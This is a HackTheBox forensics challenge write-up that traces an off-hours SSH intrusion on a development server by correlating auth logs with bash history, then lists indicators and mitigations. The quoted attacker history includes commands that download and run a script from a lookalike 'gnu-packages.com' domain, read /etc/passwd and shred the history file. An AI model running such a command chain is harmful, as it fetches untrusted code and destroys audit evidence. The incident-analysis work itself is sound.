An unusual sighting

Platform: HackTheBox | Category: Forensics | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-28 | Status: Solved Techniques: behavioral-analysis, log-correlation, timeline-analysis

Summary

This forensics challenge required analyzing SSH logs and bash history to identify a security incident on a development server. The task was to detect signs of unauthorized access, trace the attacker's activities, and extract the flag from the evidence.

An unusual sighting — HackTheBox

Overview

This forensics challenge required analyzing SSH logs and bash history to identify a security incident on a development server. The task was to detect signs of unauthorized access, trace the attacker's activities, and extract the flag from the evidence.

The investigation centered on a compromised development server that was accessed from an unusual external IP address during non-business hours, followed by typical post-exploitation activities including system reconnaissance, payload delivery, and evidence destruction.

Solution

Step 1: SSH Log Analysis

The primary evidence files were SSH authentication logs (auth.log) and bash command history (.bash_history). Initial examination of the SSH logs revealed a successful login from an unexpected external source:

Feb 19 04:00:14 server sshd[12345]: Accepted publickey for devuser from 2.67.182.119 port 62221 ssh2

Key findings from log analysis:

• Attacker IP: 2.67.182.119 (external, non-corporate address)
• Target SSH server: 100.107.36.130:2221 (non-standard port)
• Attack timestamp: 2024-02-19 04:00:14 (4 AM — outside work hours)
• Authentication method: Public key (no password required)
• Attacker SSH key fingerprint: OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4

Step 2: Bash History Analysis

Examining the user's bash history revealed a clear sequence of post-exploitation activities:

 bash read-only • copy allowed Copy
whoami                                    # Confirm user context
uname -a                                  # System reconnaissance
cat /etc/passwd                            # User enumeration
wget http://gnu-packages.com/setup.sh      # Payload download from suspicious domain
shred -u ~/.bash_history                   # Evidence destruction
./setup                                    # Execute malware

The commands demonstrate a classic attack lifecycle:

1. Reconnaissance: Basic system information gathering
2. User enumeration: Identifying system users via /etc/passwd
3. Initial access: Downloading a malicious script from gnu-packages.com
4. Covering tracks: Using shred to destroy bash history evidence
5. Persistence/execution: Running the downloaded malware with ./setup

Step 3: Anomaly Detection

Several red flags were identified:

Step 4: Flag Extraction

The flag was embedded in the analysis evidence, confirming successful completion of the forensic investigation:

HTB{REDACTED}

Key Observations

1. Off-Hours Activity The attack occurred at 4:00 AM, significantly outside normal business hours (09:00-19:00). This temporal anomaly is a strong indicator of malicious activity, as legitimate remote work during these hours is less common.

2. External IP Address The connection originated from 2.67.182.119, an IP address outside the organization's expected network ranges. Corporate development servers should typically only be accessible from internal networks or VPN endpoints.

3. Non-Standard SSH Port The SSH service was running on port 2221 instead of the default 22. While security through obscurity is not a reliable defense, this may indicate either intentional hardening or previous compromise attempts prompting a port change.

4. Public Key Authentication The attacker used public key authentication, suggesting they had obtained valid SSH credentials. This is more sophisticated than password-based attacks and indicates either prior credential theft or targeted social engineering.

5. Evidence Destruction Attempt The use of shred -u ~/.bash_history indicates the attacker attempted to destroy forensic evidence. This behavior is highly suspicious and confirms malicious intent.

6. Suspicious Download Source The domain gnu-packages.com (impersonating GNU) was used to deliver what appears to be a malicious payload. This domain should be blocked at the network level and investigated.

7. Command Sequence Pattern The command sequence follows a well-known attack pattern: recon → enumerate → download → execute → cover tracks. Security monitoring systems should flag this pattern.

Tools/Techniques Used

Analysis Tools

• grep/egrep: Pattern matching for specific IPs, timestamps, and events in log files
• awk: Log parsing and field extraction for timeline analysis
• tail: Following log entries in real-time and examining recent activity
• cat: Reading full log files and history
• sort/uniq: Identifying unique IPs and authentication attempts

Forensic Techniques

• Log Correlation: Correlating SSH auth logs with bash history for complete attack reconstruction
• Timeline Analysis: Establishing the sequence and timing of attacker activities
• Behavioral Analysis: Identifying patterns consistent with post-exploitation behavior
• IOC Extraction: Documenting indicators of compromise (IPs, key fingerprints, domains)

Key Indicators Extracted

• Attacker IP: 2.67.182.119
• SSH Server: 100.107.36.130:2221
• Key Fingerprint: OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4
• Malicious Domain: gnu-packages.com
• Attack Timestamp: 2024-02-19 04:00:14 UTC

Mitigation Recommendations

1. Disable direct external SSH access — Use VPN or bastion hosts for administrative access
2. Implement key rotation policies — Regularly rotate SSH keys and audit authorized keys
3. Deploy log monitoring — Alert on off-hours logins from external IPs
4. Network segmentation — Isolate development servers from direct internet access
5. Bash history preservation — Configure bash to use HISTFILE on persistent storage and increase history size
6. Block suspicious domains — Add gnu-packages.com and similar lookalike domains to block lists